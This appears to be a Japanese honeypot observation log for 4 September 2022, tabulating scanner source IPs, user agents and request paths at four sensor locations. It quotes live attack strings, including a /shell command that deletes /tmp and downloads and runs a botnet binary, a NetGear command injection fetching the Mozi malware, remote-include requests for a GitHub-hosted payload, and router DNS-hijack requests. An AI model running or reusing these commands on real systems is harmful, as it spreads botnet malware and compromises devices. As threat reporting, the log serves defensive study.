2022/09/04 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/04分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
aiohttpによるスキャン行為
curlによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:US

GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
.cssへのスキャン行為
WordPress Pluginへのスキャン行為
WordPressへのスキャン行為
45.85.218.55に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:UK

GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ZmEuによるスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：62 (前日比：-6)
US：総アクセス数：145 (前日比：67)
UK：総アクセス数：59 (前日比：9)
SG：総アクセス数：65 (前日比：-63)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
3	20.126.123.138	United States
1	20.168.60.107	United States
1	20.168.98.187	United States
1	37.19.205.170	United Kingdom
1	47.242.85.233	United States
1	54.242.216.196	United States
1	60.164.203.244	China
1	64.62.197.150	United States
15	95.214.235.205	Ukraine
1	109.237.103.9	Russia
2	109.237.103.123	Russia
1	117.194.164.167	India
9	135.125.244.48	France
10	135.125.246.189	France
2	167.71.167.246	United States
1	167.94.138.46	United States
1	167.94.138.47	United States
1	172.104.242.173	United States
1	178.18.251.158	Germany
1	180.149.125.169	Mongolia
1	181.214.206.161	United States
1	188.166.232.196	United States
1	191.239.183.114	Brazil
1	193.42.106.11	Ukraine
1	198.199.94.30	United States
1	205.210.31.152	United States

UserAgent一覧

件数	UserAgent
8	`-`
4	`Go-http-client/1.1`
2	`Hello, world`
1	`MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F`
35	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`curl/7.29.0`
3	`python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.53.1.el7.x86_64`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
2		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
42	GET	`/.env`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/runtime/log/202209/03.log`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
1	20.14.16.220	United States
6	20.125.150.225	United States
1	34.220.223.215	United States
1	34.230.74.220	United States
1	45.72.112.83	Canada
1	52.159.119.220	United States
24	54.37.79.75	France
1	62.233.50.179	Russia
46	65.108.58.55	Germany
4	93.115.27.9	Lithuania
1	109.237.103.9	Russia
1	112.94.98.191	China
1	113.110.242.66	China
1	138.197.138.160	United States
1	139.180.182.100	United States
4	152.89.196.62	Russia
4	154.26.130.15	United States
1	156.221.119.40	Egypt
1	156.221.164.64	Egypt
2	162.142.125.212	United States
2	167.94.145.58	United States
2	167.248.133.63	United States
1	172.104.242.173	United States
1	178.72.70.234	Russia
1	180.149.125.169	Mongolia
1	181.214.218.69	United States
9	185.165.190.34	Seychelles
1	185.220.101.159	Germany
9	185.254.196.223	Ukraine
4	192.227.144.49	United States
1	192.241.213.118	United States
2	194.26.228.174	Russia
2	194.165.16.76	Panama
1	197.34.135.229	Egypt
1	198.235.24.11	United States
1	198.235.24.150	United States
1	200.110.56.113	Bolivia
1	209.141.55.120	United States

UserAgent一覧

件数	UserAgent
23	`-`
4	`Go-http-client/1.1`
4	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
10	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
46	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
35	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0`
4	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_34.68.118.83_80\n`
3		`\x03`
2		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
4	CONNECT	`45[.]85[.]218[.]55:4444`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
40	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin.php`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/alfa.php`	HTTP/1.1
1	GET	`/alfindex.php`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/boom.php?x`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/cindex.php`	HTTP/1.1
1	GET	`/config.bak.php`	HTTP/1.1
1	GET	`/config.php`	HTTP/1.1
1	GET	`/dist/index.html`	HTTP/1.1
1	GET	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.33&dnsDynamic=0&dnsRefresh=1`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/haders.php`	HTTP/1.1
1	GET	`/index.php?3x=3x`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/larva.php?idb=https[:]//raw[.]githubusercontent[.]com/carlosdechia/carlosdechia/main/ExV1`	HTTP/1.1
1	GET	`/legion.php`	HTTP/1.1
1	GET	`/moduless.php`	HTTP/1.1
1	GET	`/old-index.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/style.php`	HTTP/1.1
1	GET	`/test.php?Ghost=send`	HTTP/1.1
1	GET	`/th3_err0r.php?php=https[:]//raw[.]githubusercontent[.]com/carlosdechia/carlosdechia/main/ExV1`	HTTP/1.1
1	GET	`/up.php`	HTTP/1.1
1	GET	`/upload.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-1ogin_bak.php`	HTTP/1.1
1	GET	`/wp-admin/config.bak.php`	HTTP/1.1
1	GET	`/wp-booking.php`	HTTP/1.1
3	GET	`/wp-content/`	HTTP/1.1
1	GET	`/wp-content/config.bak.php`	HTTP/1.1
1	GET	`/wp-content/db_cache.php`	HTTP/1.1
1	GET	`/wp-content/langar.php`	HTTP/1.1
1	GET	`/wp-content/mu-plugins/db-safe-mode.php`	HTTP/1.1
1	GET	`/wp-content/plugins/backup_index.php`	HTTP/1.1
1	GET	`/wp-content/plugins/config.bak.php`	HTTP/1.1
1	GET	`/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php`	HTTP/1.1
1	GET	`/wp-content/plugins/ioptimization/IOptimize.php?rchk`	HTTP/1.1
1	GET	`/wp-content/plugins/t_file_wp/t_file_wp.php?test=hello`	HTTP/1.1
1	GET	`/wp-content/plugins/ubh/up.php`	HTTP/1.1
1	GET	`/wp-content/plugins/wpconfig.bak.php?act=sf`	HTTP/1.1
1	GET	`/wp-content/plugins/wpdiscuz/themes/default/style-rtl.css`	HTTP/1.1
1	GET	`/wp-content/themes/config.bak.php`	HTTP/1.1
1	GET	`/wp-content/wp-1ogin_bak.php`	HTTP/1.1
1	GET	`/wp-content/wp-old-index.php?action=login&pass=-1&submit=`	HTTP/1.1
1	GET	`/wp-includes/config.bak.php`	HTTP/1.1
1	GET	`/wp-includes/css/css.php`	HTTP/1.1
1	GET	`/wp-includes/fonts/css.php`	HTTP/1.1
1	GET	`/wp-includes/lfx.php`	HTTP/1.1
1	GET	`/wp-includes/small.php`	HTTP/1.1
1	GET	`/wp-includes/wpconfig.bak.php?act=sf`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`/wpindex.php?idb=https[:]//raw[.]githubusercontent[.]com/carlosdechia/carlosdechia/main/ExV1`	HTTP/1.1
1	GET	`/xmlrp.php?url=https[:]//raw[.]githubusercontent[.]com/carlosdechia/carlosdechia/main/ExV1`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	HEAD	`/images/login.png`	HTTP/1.1
1	HEAD	`/images/login1.png`	HTTP/1.1
1	HEAD	`/images/login1_5.png`	HTTP/1.1
1	HEAD	`/images/weblogin.png`	HTTP/1.1
1	POST	`/66048308`	HTTP/1.1
1	POST	`/ALFA_DATA/alfacgiapi/perl.alfa`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/alfacgiapi/perl.alfa`	HTTP/1.1
1	POST	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=`	HTTP/1.1
1	POST	`/wp-content/ALFA_DATA/alfacgiapi/perl.alfa`	HTTP/1.1
1	POST	`/wp-content/alfacgiapi/perl.alfa`	HTTP/1.1
1	POST	`/wp-includes/css/wp-config.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
1	20.43.99.1	United States
1	34.220.223.215	United States
2	36.110.214.194	China
1	66.240.192.82	United States
1	90.151.171.106	Russia
3	106.75.4.49	China
1	107.170.204.35	United States
3	118.126.82.157	China
1	149.18.24.220	United States
1	152.32.198.195	Hong Kong
4	152.89.196.62	Russia
2	162.142.125.9	United States
1	172.104.242.173	United States
1	180.149.125.167	Mongolia
1	181.214.218.69	United States
8	185.142.236.40	Seychelles
8	185.163.109.66	Romania
8	185.254.196.223	Ukraine
1	188.166.232.196	United States
1	192.241.219.125	United States
2	194.26.228.174	Russia
2	194.165.16.37	Panama
1	198.235.24.2	United States
1	198.235.24.29	United States
1	209.141.35.128	United States
1	212.112.100.46	Kyrgyzstan

UserAgent一覧

件数	UserAgent
19	`-`
2	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0`
3	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2876.0 Safari/537.36`
8	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Wget/1.21`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
4		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	`check.best-proxies[.]ru:443`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
9	GET	`/.env`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.33&dnsDynamic=0&dnsRefresh=1`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/php-my-admin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpma/scripts/setup.php`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/user/register/`	HTTP/1.1
1	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//example[.]com/`	HTTP/1.1
2	HEAD	`/images/login.png`	HTTP/1.1
2	HEAD	`/images/login1.png`	HTTP/1.1
2	HEAD	`/images/login1_5.png`	HTTP/1.1
2	HEAD	`/images/weblogin.png`	HTTP/1.1
1	POST	`/66048308`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.209	Romania
1	36.110.214.194	China
1	45.132.129.92	Russia
22	54.37.79.75	France
2	62.233.50.179	Russia
1	66.240.192.82	United States
1	74.82.47.57	United States
3	103.180.29.190	United States
2	109.237.103.9	Russia
4	152.89.196.62	Russia
2	156.207.165.163	Egypt
2	162.142.125.7	United States
2	162.142.125.220	United States
2	167.94.145.58	United States
2	167.248.133.117	United States
1	180.149.125.172	Mongolia
8	185.254.196.223	Ukraine
1	192.241.216.72	United States
2	194.26.228.174	Russia
2	194.165.16.78	Panama
1	198.235.24.33	United States
2	209.141.43.93	United States

UserAgent一覧

件数	UserAgent
12	`-`
5	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0`
1	`Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Wget/1.21`
2	`ZmEu`
3	`python-requests/2.26.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
4		`\x03`
1		`\x16\x03\x01\x01D\x01`
2		`\x16\x03\x01`
31	GET	`/.env`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/c/`	HTTP/1.1
1	GET	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.33&dnsDynamic=0&dnsRefresh=1`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/image/lgbg.jpg`	HTTP/1.1
2	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/skin/default_1/images/logo.png`	HTTP/1.1
1	GET	`/w00tw00t.at.blackhats.romanian.anti-sec:)`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=`	HTTP/1.1
4	PRI	`*`	HTTP/2.0